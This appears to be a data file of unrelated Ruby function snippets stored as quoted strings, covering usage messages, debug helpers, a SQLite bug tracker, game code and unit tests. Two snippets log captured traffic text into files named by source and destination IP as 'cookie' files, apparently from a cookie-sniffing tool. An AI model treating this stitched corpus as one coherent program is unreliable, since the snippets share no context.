"def usage\n puts 'Usage: %s.rb [--fix]' % NAME\n puts ' fix Try to fixup meta issues'\n puts 'Script checks consistency of the .META. table. It reports if .META. has missing entries.'\n puts 'If you pass \"--fix\", it will try looking in the filesystem for the dropped region and if it'\n puts 'finds a likely candidate, it will try pluggin the .META. hole.'\n exit!\nend",
"def qadd args\n die \"Title required by qadd\" if args.nil? or args.empty?\n db = get_db\n body = {}\n body['title'] = args.join \" \"\n body['type'] = @options[:type] || $default_type \n body['severity'] = @options[:severity] || $default_severity\n body['status'] = @options[:status] || $default_status\n body['priority'] = @options[:priority] || $default_priority\n body['assigned_to'] = @options[:assigned_to] || $default_assigned_to\n #comment_count = 0\n #body['description = nil\n #fix = nil\n body['start_date'] = @now\n body['due_date'] = default_due_date\n rowid = db.table_insert_hash(\"bugs\", body)\n puts \"Issue #{rowid} created\"\n type = body['type']\n title = body['title']\n logid = db.sql_logs_insert rowid, \"create\", \"#{rowid} #{type}: #{title}\"\n body[\"id\"] = rowid\n mail_issue nil, body\n 0\n end",
"def debug(*args); puts(*args) if $test; end",
"def test_print_usage\n assert_output(\"Usage:\nruby ruby_rush.rb *seed* *num_prospectors* *num_turns*\n*seed* should be an integer\n*num_prospectors* should be a non-negative integer\n*num_turns* should be a non-negative integer\\n\") { print_usage }\n end",
"def write_debug( f )\n f.puts( $debug_buf )\n $debug_buf = \"\"\nend",
"def bug\n end",
"def set_debug_output(arg); end",
"def init args=nil\n die \"#{@file} already exist. Please delete if you wish to recreate.\" if File.exists? @file\n\n @db = SQLite3::Database.new( @file )\n sql = <<SQL\n\n CREATE TABLE bugs (\n id INTEGER PRIMARY KEY,\n status VARCHAR(10) NOT NULL,\n severity VARCHAR(10),\n type VARCHAR(10),\n assigned_to VARCHAR(10),\n start_date DATE default CURRENT_DATE,\n due_date DATE,\n comment_count INTEGER default 0,\n priority VARCHAR(2),\n title VARCHAR(20) NOT NULL,\n description TEXT,\n fix TEXT,\n created_by VARCHAR(60),\n project VARCHAR(10),\n component VARCHAR(10),\n version VARCHAR(10),\n date_created DATETIME default CURRENT_TIMESTAMP,\n date_modified DATETIME default CURRENT_TIMESTAMP);\n\n CREATE TABLE comments (\n rowid INTEGER PRIMARY KEY,\n id INTEGER NOT NULL ,\n comment TEXT NOT NULL,\n created_by VARCHAR(60),\n date_created DATETIME default CURRENT_TIMESTAMP);\n\n CREATE TABLE log (\n rowid INTEGER PRIMARY KEY,\n id INTEGER ,\n field VARCHAR(15),\n log TEXT,\n created_by VARCHAR(60),\n date_created DATETIME default CURRENT_TIMESTAMP);\n \nSQL\n\n ret = @db.execute_batch( sql )\n # execute batch only returns nil\n message \"#{@file} created.\" if File.exists? @file\n text = <<-TEXT\n If you wish to associate projects and/or components and versions to an issue,\n please modify bugzyrb.cfg as follows:\n\n $use_project = true\n $use_component = true\n $use_version = true\n Also, fill in valid_project=[...], default_project=\"x\" and prompt_project=true.\n\n bugzyrb.cfg must be called using -c bugzyrb.cfg if overriding ~/.bugzyrb.cfg\n\n TEXT\n message text\n\n 0\n end",
"def report!(msg = \"\")\n puts(\"#{caller.first}: #{msg}\")\n end",
"def invoke(*args, &block)\n msg = args.inspect\n @actual_tempfile.puts msg\n @actual_tempfile.flush\n end",
"def file_bug(errata, bug)\n FiledBug.\n new(:errata => errata, :bug => bug, :user => User.current_user).\n save!(:validate => false)\n end",
"def whisper *args\n puts *args if verbose\n end",
"def arg_error\r\n puts \"Usage:\\nruby ruby_rush.rb *seed* *num_prospectors* *num_turns*\\n*seed* should be an integer\\n*num_prospectors*\"\\\r\n \" should be a non-negative integer\\n*num_turns* should be a non-negative integer\"\r\n exit 1\r\nend",
"def print(*args)\n s = \"\"\n args.each { |arg| s << arg.to_s }\n do_write(s)\n nil\n end",
"def print_file(*) end",
"def fprint(file)\n end",
"def do_a_thing\n puts \"We are doing a thing!!!!!!!!!!!!!!!! #{file_name}\"\n end",
"def show_usage_message\n puts('Usage: ')\n puts('ruby ruby_rush.rb *seed* *num_prospectors* *num_turns*')\n puts('*seed* should be an integer')\n puts('*num_prospectors* should be a non-negative integer')\n puts('*num_turns* should be a non-negative integer')\n exit(1)\nend",
"def flush out_file, title=@title\n dump out_file, title\n ensure\n clear\n end",
"def write_seq(seq_name,seq_fasta,seq_qual,comments='')\n name = \"\"\n\n @fastq_file.puts(\"@#{seq_name} #{comments}\")\n @fastq_file.puts(seq_fasta)\n @fastq_file.puts(\"+\")\n #@fastq_file.puts(\"+#{seq_name} #{comments}\")\n\n if seq_qual.is_a?(Array)\n @fastq_file.puts(seq_qual.map{|e| @from_phred.call(e)}.join)\n else\n @fastq_file.puts(seq_qual.split(/\\s+/).map{|e| @from_phred.call(e.to_i)}.join)\n end\n\n end",
"def run( args )\n dir_str = args.shift\n case dir_str\n when '-h', '--help'\n help\n when '-v', '--version'\n @out.puts \"QuickGitHelp #{::QuickGitHelp::VERSION}\"\n nil\n when nil\n QuickGitHelp::Tutorial.new(Dir.pwd).create\n else\n QuickGitHelp::Tutorial.new(File.expand_path(dir_str)).create\n end\n\n rescue StandardError => err\n @err.puts \"ERROR: While executing quickgithelp ... (#{err.class})\"\n @err.puts \" #{err.to_s}\"\n exit 1\n end",
"def puts! args, label=\"\"\n puts \"+++ +++ #{label}\"\n puts args.inspect\nend",
"def inject_tm_harness( src )\n File.open(src, 'a') do |f|\n f.puts \"#{harnessXXX()}\"\n end \n end",
"def test_trace_bug\n rakefile_dryrun\n\n rake\n\n FileUtils.rm_f \"temp_one\"\n\n rake \"--trace\"\n\n refute_match(/No such file/, @out)\n end",
"def create_report()\n report = <<STR_END\n#### STEPS TO REPRODUCE BUG ####\n\n#{@list_steps_text.get_value}\n\n\n#### DESCRIPTION OF BUG ####\n\n#{@description_text.get_value}\n\n--#{@reproduce_check.get_value}\n--#{@past_check.get_value}\n\n\n#### SESSION LOG ####\n\n#{@parent.log_text.get_value}\n\n\n--------------------------------------------------------------------------------\n#{IO.readlines($attr[:name]).join(\"\\n\") if $attr[:name]}\nSTR_END\n \n fname = \"bugs/#{Time.now.to_s.split(\" \").join(\"_\")}_#{$attr[:name].split(/[\\/\\\\]/).join(\"_\") if $attr[:name]}_bug\"\n File.open(fname, 'w') {|fout| fout.write(report)}\n prompt = MessageDialog.new(self, \"Bug report saved to file: #{fname}\\nPlease email this file to the developer!\",\n \"Bug Report Created\", OK)\n exit_dlg() if prompt.show_modal == ID_OK\n end",
"def debug_print(thing, title = nil, print_path = false)\n return if !%w[test development].include?(Rails.env)\n\n divider = \"#{\"-\" * 80}\"\n\n puts divider\n if title.present?\n puts %Q(#{title} (#{thing.class.name}))\n else\n puts thing.class.name\n end\n pp thing\n\n if print_path\n puts caller.first[0..caller.first.index(\":in\") - 1]\n end\n\n puts divider\n\n puts\n end",
"def debug(*args); end",
"def debug(*args); end",
"def debug(*args); end",
"def printUsage\n \n print \"usage -- main.rb <structureFile> <outFile>\\n\"\n print \" <numTimesteps> - total number of timesteps to run\\n\"\n print \" <structureFile> - the PDB file to read in\\n\"\n print \" <outFilePrefix> - MD output (.out, .xyz)\\n\"\n \n end",
"def add args\n db = get_db\n if args.empty?\n print \"Enter a short summary: \"\n STDOUT.flush\n text = gets.chomp\n if text.empty?\n exit ERRCODE\n end\n else\n # if you add last arg as P1..P5, I'll update priority automatically\n if args.last =~ /P[1-5]/\n $default_priority = args.pop\n end\n text = args.join \" \"\n end\n # convert actual newline to C-a. slash n's are escapes so echo -e does not muck up.\n #atitle=$( echo \"$atitle\" | tr -cd '\\40-\\176' )\n text.tr! \"\\n\", '\u0001'\n title = text\n desc = nil\n if $prompt_desc\n # choice of vim or this XXX also how to store in case of error or abandon\n # and allow user to edit, so no retyping. This could be for mult fields\n message \"Enter a detailed description (. to exit): \"\n desc = Cmdapp.get_lines\n #message \"You entered #{desc}\"\n end\n type = $default_type || \"bug\"\n severity = $default_severity || \"normal\"\n status = $default_status || \"open\"\n priority = $default_priority || \"P3\"\n if $prompt_type\n type = Cmdapp._choice(\"Select type:\", %w[bug enhancement feature task] )\n #message \"You selected #{type}\"\n end\n if $prompt_priority\n #priority = Cmdapp._choice(\"Select priority:\", %w[normal critical moderate] )\n priority = ask_priority\n #message \"You selected #{severity}\"\n end\n if $prompt_severity\n severity = Cmdapp._choice(\"Select severity:\", %w[normal critical moderate] )\n #message \"You selected #{severity}\"\n end\n if $prompt_status\n status = Cmdapp._choice(\"Select status:\", %w[open started closed stopped canceled] )\n #message \"You selected #{status}\"\n end\n assigned_to = $default_assigned_to\n if $prompt_assigned_to\n message \"Assign to:\"\n #assigned_to = $stdin.gets.chomp\n assigned_to = Cmdapp._gets \"assigned_to\", \"assigned_to\", $default_assigned_to\n #message \"You selected #{assigned_to}\"\n end\n project = component = version = nil\n # project\n if $use_project\n project = Cmdapp.user_input('project', $prompt_project, nil, $valid_project, $default_project)\n end\n if $use_component\n component = Cmdapp.user_input('component', $prompt_component, nil, $valid_component, $default_component)\n end\n if $use_version\n version = Cmdapp.user_input('version', $prompt_version, nil, $valid_version, $default_version)\n end\n\n start_date = @now\n due_date = default_due_date\n comment_count = 0\n priority ||= \"P3\" \n description = desc\n fix = nil #\"Some long text\" \n #date_created = @now\n #date_modified = @now\n body = {}\n body[\"title\"]=title\n body[\"description\"]=description\n body[\"type\"]=type\n body[\"status\"]=status\n body[\"start_date\"]=start_date.to_s\n body[\"due_date\"]=due_date.to_s\n body[\"priority\"]=priority\n body[\"severity\"]=severity\n body[\"assigned_to\"]=assigned_to\n body[\"created_by\"] = $default_user\n # only insert if its wanted by user\n body[\"project\"]=project if $use_project\n body[\"component\"]=component if $use_component\n body[\"version\"]=version if $use_version\n\n rowid = db.table_insert_hash(\"bugs\", body)\n puts \"Issue #{rowid} created\"\n logid = db.sql_logs_insert rowid, \"create\", \"#{rowid} #{type}: #{title}\"\n body[\"id\"] = rowid\n mail_issue nil, body\n \n 0\n end",
"def debug_in_temp_file(program)\n example_file.write(program)\n example_file.close\n\n load(example_path)\n end",
"def sprint *args\r\n print(*args)\r\n puts\r\n end",
"def puts_s(thing)\n puts\n puts \"--\"*7\n puts thing\n puts \"--\"*7\n puts\nend",
"def debug_out(debmsg)\n if $gDebug \n puts debmsg\n end\n if ($gTest_params[\"logfile\"])\n $fLOG.write(debmsg)\n end\nend",
"def comment _args\n \"comment _args;\" \n end",
"def test_third_line\n assert_equal \" def valid_working_gemspec_args\\n\",\n Working.file_third_line(__FILE__)\n end",
"def puts_verbose(text, src_ip, dst_ip)\n #generate the filename\n user = File.open(\"cookie_#{src_ip}->#{dst_ip}.txt\", \"a\") \n puts \"File opened: #{user.path}\"\n user.puts \"----------------------------------------------------\"\n user.puts(text)\n user.close\nend",
"def debug_emit(fname = \"output\")\n file = File.new(fname+\".debug\", \"w+\")\n @instr.each{|i|\n file.puts \"#{i.to_s}\"\n }\n file.close \n end",
"def run_byebug(*args, input: \"\")\n run_program([*binstub, *args], input)\n end",
"def run(args)\n options = parse_options(DEFAULT_OPTIONS.dup, args[1..-1])\n save_filename = @proc.save_commands(options)\n msg \"Debugger commands written to file: #{save_filename}\" if\n save_filename\n end",
"def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"def write_file(*args)\n end",
"def debug_out(debmsg)\n if $gDebug\n puts debmsg\n end\n if ($gTest_params[\"logfile\"])\n $fLOG.write(debmsg)\n end\nend",
"def puts(*strs); $stdout.puts(*strs) if ENV['DEBUG'] end",
"def usage\n puts <<EOU\nUSAGE:\n #{__FILE__} E-POST [ARGUMENT]\n\nTa bort e-postkontot för E-POST\n\nArgument:\n -h, --help Visa denna information\n -s, --simulate Simulera allt, gör inga ändringar i filsystem eller databas\nEOU\n\n # We also exit the script here..\n exit(0)\nend",
"def quick_commit(repo, msg='WARNING: This commit was made automatically by a script, and should be reviewed!')\n log = File.open \"#{LOG_DIR}/git.txt\", 'a'\n Dir.chdir Pathname(repo).expand_path do |p|\n print \"Performing quick commit for '#{File.basename repo}'...\\n\" unless $cli_opts[:quiet]\n log.puts `git add -A`\n log.puts `git commit -m \"#{msg}\"`\n log.puts\n result = `git push origin`\n log.puts result\n puts result.empty? ? 'Done.' : 'Failed!'\n end\n end",
"def puts(*args)\nend",
"def display_help\n puts 'Usage:'\n puts ' xrerun path/to/some_spec.rb browser_name'\n exit\nend",
"def print_help\n puts \"Usage:\n \\t./#{$PROGRAM_NAME} file.gpx [file2.gpx ...] -i|-m|--help\\n\n \\t\\t#{$PROGRAM_NAME}\\t - name of script\n \\t\\tfile.gpx file2.gpx\\t - one or more file names to fix\n \\t\\t-i\\t - fix files 'in place'\n \\t\\t-m\\t - merge to one gpx file, if tracks are continous (see -t switch) (default)\n \\t\\t-t NUM - treshhold for merge tolerance in meters (default 30 meters)\n \\t\\t--help\\t - print usage\"\n exit 1\n end",
"def debug_output=(arg); end",
"def print(*args)\n args.each do |a|\n io << a\n end\n end",
"def puts(msg = '', yaml_comment = true)\n msg = \"#{msg}\\n\"\n $stdout.write msg\n if yaml_comment && msg != \"\\n\"\n $outfile.write \"# #{msg}\"\n else\n $outfile.write msg\n end\nend",
"def puts(arg)\n @io.puts(arg)\n end",
"def fatalerror( err_msg )\n# Display a fatal error and quit. -----------------------------------\n if ($gTest_params[\"logfile\"])\n $fLOG.write(\"\\nsubstitute-h2k.rb -> Fatal error: \\n\")\n $fLOG.write(\"#{err_msg}\\n\")\n end\n print \"\\n=========================================================\\n\"\n print \"substitute-h2k.rb -> Fatal error: \\n\\n\"\n print \" #{err_msg}\\n\"\n print \"\\n\\n\"\n print \"substitute-h2k.rb -> Other Error or warning messages:\\n\\n\"\n print \"#{$ErrorBuffer}\\n\"\n exit() # Run stopped\nend",
"def view args\n db = get_db\n id = args[0].nil? ? db.max_bug_id : args[0]\n db, row = validate_id id\n die \"No data found for #{id}\" unless row\n puts \"[#{row['type']} \\##{row['id']}] #{row['title']}\"\n puts \"Description:\"\n puts Cmdapp.indent(row['description'],3) if row['description']\n puts \"\\nAdded by #{row['created_by']} on #{row['date_created']}. Updated #{row['date_modified']}.\"\n comment_count = 0\n #puts row\n row.each_pair { |name, val| \n x = (name =~ /[A-Za-z]/)\n next unless x # 2011-09-21 skip names that are just numbers\n next if name == \"project\" && !$use_project\n next if name == \"version\" && !$use_version\n next if name == \"component\" && !$use_component\n next if %w{ id title description created_by date_created date_modified }.include? name\n comment_count = val.to_i if name == \"comment_count\"\n val = Cmdapp.indent2(val, 18) if name == \"fix\"\n n = sprintf(\"%-15s\", name); \n puts \"#{n} : #{val}\" \n }\n puts\n if comment_count > 0\n puts \"Comments :\"\n ctr = 0\n db.select_where \"comments\", \"id\", id do |r|\n #puts \"(#{r['date_created']}) [ #{r['created_by']} ] #{r['comment']}\"\n ctr += 1\n puts \"------- (#{r['date_created']}) #{r['created_by']} (#{ctr})------\"\n puts r['comment']\n end\n puts\n end\n puts \"Log:\"\n ctr = 0\n db.select_where \"log\", \"id\", id do |r|\n ctr += 1\n #puts \"------- (#{r['date_created']}) #{r['created_by']} ------\"\n puts \"------- #{r['date_created']} - #{r['created_by']} (#{ctr})------\"\n puts \" * [#{r['field']}]: #{r['log']} \"\n end\n #pp r\n end",
"def test_print_out_found_long\n ruby_rush=RubyRush.new(1, 2, 3)\n ruby_rush.real_sp='ruby'\n ruby_rush.fake_sp='ruby'\n ruby_rush.cur_real_rb=1\n ruby_rush.cur_fake_rb=1\n assert_output(\"\\tFound #{ruby_rush.cur_real_rb} #{ruby_rush.real_sp} and #{ruby_rush.cur_fake_rb} fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_long}\n ruby_rush.real_sp='rubies'\n ruby_rush.fake_sp='ruby'\n ruby_rush.cur_real_rb=2\n ruby_rush.cur_fake_rb=1\n assert_output(\"\\tFound #{ruby_rush.cur_real_rb} #{ruby_rush.real_sp} and #{ruby_rush.cur_fake_rb} fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_long}\n ruby_rush.real_sp='rubies'\n ruby_rush.fake_sp='rubies'\n ruby_rush.cur_real_rb=2\n ruby_rush.cur_fake_rb=1\n assert_output(\"\\tFound #{ruby_rush.cur_real_rb} #{ruby_rush.real_sp} and #{ruby_rush.cur_fake_rb} fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_long}\n ruby_rush.real_sp='ruby'\n ruby_rush.fake_sp='rubies'\n ruby_rush.cur_real_rb=1\n ruby_rush.cur_fake_rb=2\n assert_output(\"\\tFound #{ruby_rush.cur_real_rb} #{ruby_rush.real_sp} and #{ruby_rush.cur_fake_rb} fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_long}\n end",
"def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"def diagnose(filename); end",
"def pretty_run(title, cmd)\n puts\n print_bar(100, title)\n puts \"> #{cmd}\"\n puts\n Kernel.system(cmd) unless pretend?\n print_bar(100)\n end",
"def fprint0(file)\n end",
"def create_text(config)\n info \"Running findbugs with results printed to stdout\"\n config.ant.findbugs :home=>config.findbugs_home,\n :output => \"text\",\n :debug => config.debug,\n :effort => config.effort,\n :failOnError => config.fail_on_error do\n # puts \"attributes: #{config.ant.inspect}\"\n #puts \"auxclasspath: #{config.aux_classpath}, #{config.aux_classpath == nil}\"\n if config.aux_classpath != nil\n config.ant.auxClasspath :path => config.aux_classpath\n end\n config.ant.sourcePath :path => config.src_path\n config.ant.method_missing :class, :location => config.class_location\n end\n end",
"def gen_usage\n puts 'Usage:'\n puts ' poole [ACTION] [ARG]'\n puts ''\n puts 'Actions:'\n puts ' draft Create a new draft in _drafts with title SLUG'\n puts ' post Create a new timestamped post in _posts with title SLUG'\n puts ' publish Publish the draft with SLUG, timestamping appropriately'\n puts ' unpublish Move a post to _drafts, untimestamping appropriately'\n exit\n end",
"def test_abnormal_usage\n test_args = [-9, -9, -9]\n args = Args.new test_args\n\n args.stub(:exit, 1) do\n assert_output(\"Usage:\\nruby ruby_rush.rb *seed* *num_prospectors* *num_turns\\n*seed* should be an integer\\n*num_prospectors* should be a non-negative integer\\n*num_turns* should be a non-negative integer\\n\"){args.validate_args}\n end\n end",
"def help\n print \"You must pass in the path to the file to launch.Usage: #{__FILE__} target_file\"\nend",
"def _dump(*args)\n raise \"not implemented yet\"\n end",
"def usage()\n STDOUT.puts \"USAGE: ruby find-missing-developers-in-git-commits.rb LOGS_FILE\"\nend",
"def dump\n if @ctx.checks.one? && @ctx.checks.first.kind_of?(Pippi::Checks::MethodSequenceFinder)\n @ctx.checks.first.dump\n end\n @ctx.report.problems.each do |problem|\n @io.puts(problem.to_text)\n end\n end",
"def puts_verbose(text, src_ip, dst_ip)\n if @verbose then\n \n #generate the filename\n user = File.open(\"cookie_#{src_ip}->#{dst_ip}.txt\", \"a\") \n puts \"File opened: #{user.path}\"\n user.puts \"----------------------------------------------------\"\n user.puts(text)\n user.close\n end\nend",
"def test_basic\n testbase = 'help'\n op = StringIO.new('', 'w')\n Dir.chdir(SRC_DIR) do \n script = File.join('data', \"#{testbase}.cmd\")\n Debugger.const_set('Version', 'unit testing')\n Debugger.run_script(script, op)\n got_lines = op.string.split(\"\\n\")\n right_file = File.join('data', \"#{testbase}.right\")\n correct_lines = File.readlines(right_file)\n result = cheap_diff(got_lines, correct_lines)\n unless result\n puts '-' * 80\n puts got_lines \n puts '-' * 80\n end\n assert result \n end\n end",
"def +(bug, next_to = false, side = false)\n \n error = false\n return if bug == nil || $game.not_my_turn?(bug.color)\n \n begin\n raise HiveException, \"White always starts first\" if $game.turn_number == 1 && bug.color? == 'Black'\n \n # Throw an error if the queens aren't out by the fourth turn\n [Hive::Color[:white],Hive::Color[:black]].collect{|color|\n if $game.bugs[color].count == 3 && $game.trays[color].queen.is_in_play? == false && bug.class.name != \"Hive::Queen\"\n error = true\n raise HiveException, \"#{$game.turn?}, you have to place your queen by the 4th turn\"\n end\n }\n\n if $game.turn_number == 1\n puts \"#{$game.turn?} placed first #{bug}\"\n\n elsif $game.turn_number == 2\n # Force the second black bug placed to be in the top center of the white bug. This was easiest.\n puts self.first_bug.+(bug, Side::Face[:top_center])\n\n elsif $game.turn_number >= 3\n\n # Throw an error if you're trying to put a new bug next to a non-existent bug.\n if next_to.respond_to?('sides') == false\n error = true\n raise HiveException, \"#{$game.turn?}, you specified a next_to bug that isn't on the surface yet\"\n \n # This is a really important one-liner. I get the available spots to put a new bug - the \"place candidates\" - and if the specific side of the bug we specified we wanted to put the new bug next to is included in that list, then continue.\n elsif self.place_candidates($game.turn).include?(next_to.sides[side])\n # Notify the next_to variable (which is a Bug object of some kind) that there is a new bug on it's side\n puts next_to.+(bug, side)\n # And also announce to all next_to's neighbors that there's a new bug in the hizzy:\n Bug::announce(next_to, bug, side)\n # Notice this is a \"static method\" or \"class method\" because I've used :: instead of . to separate the name of the class and the name of the method. I chose to use a static method because it's more of a helper - it's a utility. The real important parts are the next_to and the bug variables. I could have written next_to.announce(next_to, bug, side), but I think the first way is easier to understand.\n \n else\n error = Hive::HiveException[:InvalidPlacement]\n raise HiveException, \"#{$game.turn?}, you can't place #{bug} in the \" + Side::name?(side) + \" of #{next_to}\"\n end\n end\n \n if error == false\n # If there were no errors put this bug into the $game.bugs array that holds bugs that are on the game surface, and advance the turn.\n bug.is_in_play = true\n $game.bugs[$game.turn] << bug\n $game.next_turn\n end\n rescue HiveException => e\n abort(e.message) if e.message == 'White always starts first'\n puts e.message\n next_to.describe if next_to != false && error == Hive::HiveException[:InvalidPlacement]\n end\n end",
"def do_docs_debug( task, args )\n\t\tself.prompt.say( \"Docs are published to:\", color: :bright_green )\n\t\tif ( publish_url = self.publish_to )\n\t\t\tself.prompt.say( self.indent(publish_url, 4) )\n\t\telse\n\t\t\tself.prompt.say( self.indent(\"n/a\"), color: :bright_yellow )\n\t\tend\n\t\tself.prompt.say( \"\\n\" )\n\tend",
"def test_fb_run_prepare_ff\n ifn = @@env + '_4.sdf'\n ofn = @@env + '_4.ff'\n\n ligands_sdf = File.join(@@env, @@lig + '.ligands.sdf')\n ali = File.join(@@env, @@lig + '.alignments.dat')\n pocket = File.join(@@env, @@lig + '.pockets.dat')\n templates = File.join(@@env, @@lig + '.templates.pdb')\n\n ruby_script = \"../src/prepare_ff.rb\"\n cmd = <<ff\nruby #{ruby_script} -l #{ifn} -i MOLID -o #{ofn} -s #{ligands_sdf} -a #{ali} -p #{pocket} -t #{templates} -n 1\nff\n\n puts \"\\nRunning\\t\\t#{cmd}\\n\"\n stdout_str, stderr_str, status = Open3.capture3(cmd)\n if status.success?\n puts \"write to\\t#{ofn}\\n\"\n else\n STDERR.puts \"Error running #{cmd}\\n\"\n exit 1\n end\n end",
"def show_usage_and_exit\n puts 'Usage:'\n puts 'ruby gold_rush.rb'\n puts 'Arguments should be two valid integers'\n exit 1\n end",
"def run(args, options)\n\n logfile = args[0]\n\n Ppbench::run_bench(\n options.host,\n logfile,\n machine_tag: options.machine,\n experiment_tag: options.experiment,\n coverage: options.coverage,\n min: options.min,\n max: options.max,\n concurrency: options.concurrency,\n repetitions: options.repetitions,\n timeout: options.timeout\n )\nend",
"def cli_arguments\n %W(\n --fail-fast\n ) + strategy.spec_files(mutation.subject)\n end",
"def secondTest\n system(%Q{say -v \"karen\" \"Let's steer away from computational tests\"})\n system(%Q{say -v \"karen\" \"And do something a little bit easier, \"})\n system(%Q{say -v \"karen\" \"Imagine you are standing beside some tram tracks. In the distance, you spot a runaway trolley hurtling down the tracks towards five workers who cannot hear it coming. Even if they do spot it, they won’t be able to move out of the way in time.\n As this disaster looms, you glance down and see a lever connected to the tracks. You realise that if you pull the lever, the tram will be diverted down a second set of tracks away from the five unsuspecting workers.\n However, down this side track is one lone worker, just as oblivious as his colleagues.\n So, would you pull the lever, leading to one death but saving five?\"})\n puts \"Imagine you are standing beside some tram tracks. In the distance, you spot a runaway trolley hurtling down the tracks towards five workers who cannot hear it coming. Even if they do spot it, they won’t be able to move out of the way in time.\n As this disaster looms, you glance down and see a lever connected to the tracks. You realise that if you pull the lever, the tram will be diverted down a second set of tracks away from the five unsuspecting workers.\n However, down this side track is one lone worker, just as oblivious as his colleagues.\n So, would you pull the lever, leading to one death but saving five?\"\n end",
"def run(runner, user_arguments)\n super(runner, user_arguments)\n\n # make the runner a class variable\n @runner = runner\n\n # if true errors on QAQC sections will show full backtrace. Use for diagnostics\n @error_backtrace = true\n\n # register initial condition\n runner.registerInitialCondition('Starting QAQC report generation')\n\n # get sql, model, and web assets\n setup = OsLib_Reporting.setup(runner)\n unless setup\n return false\n end\n @model = setup[:model]\n # workspace = setup[:workspace]\n @sql = setup[:sqlFile]\n web_asset_path = setup[:web_asset_path]\n\n # temp code to address climate zone problem mentioned in OpenStudio issue# 3148\n climateZones = @model.getClimateZones\n cz = climateZones.getClimateZones('ASHRAE').first.value\n climateZones.clear\n climateZones.setClimateZone('ASHRAE', cz)\n\n # assign the user inputs to variables\n args = OsLib_HelperMethods.createRunVariables(runner, @model, user_arguments, arguments)\n unless args\n return false\n end\n\n # vector to store the results and checks\n report_elems = OpenStudio::AttributeVector.new\n\n # used for edapt programs to populate xml file with extra data\n # report_elems << create_results\n\n # lookup and replace argument values from upstream measures\n if args['use_upstream_args'] == true\n args.each do |arg, value|\n next if arg == 'use_upstream_args' # this argument should not be changed\n value_from_osw = OsLib_HelperMethods.check_upstream_measure_for_arg(runner, arg)\n if !value_from_osw.empty?\n runner.registerInfo(\"Replacing argument named #{arg} from current measure with a value of #{value_from_osw[:value]} from #{value_from_osw[:measure_name]}.\")\n new_val = value_from_osw[:value]\n # TODO: - make code to handle non strings more robust. check_upstream_measure_for_arg coudl pass bakc the argument type\n if arg == 'total_bldg_floor_area'\n args[arg] = new_val.to_f\n elsif arg == 'num_stories_above_grade'\n args[arg] = new_val.to_f\n elsif arg == 'zipcode'\n args[arg] = new_val.to_i\n else\n args[arg] = new_val\n end\n end\n end\n end\n\n # utility name to to used by some qaqc checks\n @utility_name = nil # for utility QAQC string is passed in\n default_target_standard = args['template'] # for utility QAQC this is hard coded, for generic it is user argument\n\n # get building type, different standards path if multifamily\n building_type = ''\n if @model.getBuilding.standardsBuildingType.is_initialized\n building_type = @model.getBuilding.standardsBuildingType.get\n end\n\n # create an attribute vector to hold the checks\n check_elems = OpenStudio::AttributeVector.new\n\n # loop through QAQC categories where bool is true\n possible_check_categories.each do |hash|\n # skip if bool arg for this method is false\n next if args[hash[:method_name]] == false\n\n cat = hash[:cat]\n cat_input = \"\\'#{cat}\\'\"\n if hash[:standards]\n standards_input = \",\\'#{default_target_standard}\\'\"\n else\n standards_input = ''\n end\n if hash[:data].nil?\n data_input = ''\n else\n data_input = \",#{hash[:data]}\"\n end\n\n # get min tol\n if args.key?(\"#{hash[:method_name]}_tol\")\n # get tol value\n tol = args[\"#{hash[:method_name]}_tol\"]\n # set min inputs\n if tol.is_a? Float\n min_input = \",#{tol}\"\n else\n min_input = ''\n end\n else\n min_input = ''\n end\n\n # get max tol\n if args.key?(\"#{hash[:method_name]}_max_tol\")\n # get tol value\n max_tol = args[\"#{hash[:method_name]}_max_tol\"]\n # set max inputs\n if max_tol.is_a? Float\n max_input = \",#{max_tol}\"\n elsif (hash[:tol_max] == true) && hash[:tol_min].is_a?(Float)\n # if true then use double from min_tol\n max_input = \",#{args[\"#{hash[:method_name]}_tol\"]}\"\n else\n max_input = ''\n end\n else\n if (hash[:tol_max] == true) && hash[:tol_min].is_a?(Float)\n # if true then use double from min_tol\n max_input = \",#{args[\"#{hash[:method_name]}_tol\"]}\"\n else\n max_input = ''\n end\n end\n\n # run QAQC check\n eval(\"check_elems << #{hash[:method_name]}(#{cat_input}#{data_input}#{standards_input}#{min_input}#{max_input},false)\")\n end\n\n # add checks to report_elems\n report_elems << OpenStudio::Attribute.new('checks', check_elems)\n\n # create an extra layer of report. the first level gets thrown away.\n top_level_elems = OpenStudio::AttributeVector.new\n top_level_elems << OpenStudio::Attribute.new('report', report_elems)\n\n # create the report\n result = OpenStudio::Attribute.new('summary_report', top_level_elems)\n result.saveToXml(OpenStudio::Path.new('report.xml'))\n\n # closing the sql file\n @sql.close\n\n # reporting final condition\n runner.registerFinalCondition('Finished generating report.xml.')\n\n # populate sections using attributes\n sections = OsLib_Reporting.sections_from_check_attributes(check_elems, runner)\n\n # generate html output\n OsLib_Reporting.gen_html(\"#{File.dirname(__FILE__)}report.html.erb\", web_asset_path, sections, name)\n\n return true\n end",
"def view2 args\n db = get_db\n id = args[0].nil? ? db.max_bug_id : args[0]\n db, row = validate_id id\n die \"No data found for #{id}\" unless row\n t = File.dirname(__FILE__) + \"/common/\" + \"bug.tmpl\"\n template = File::read(t)\n puts Cmdapp::template_replace(template, row)\n #puts row\n #puts \"Comments:\"\n t = File.dirname(__FILE__) + \"/common/\" + \"comment.tmpl\"\n template = File::read(t)\n db.select_where \"comments\", \"id\", id do |r|\n puts Cmdapp::template_replace(template, r)\n #puts r.join(\" | \")\n #puts \"(#{r['date_created']}) #{r['comment']}\"\n #pp r\n end\n end",
"def debug_msg(msg=\"\")\n if(@config.debug)\n puts(\"Debug: #{msg}\")\n @file.puts(\"Debug: #{msg}\")\n end\n end",
"def quiet=(_arg0); end",
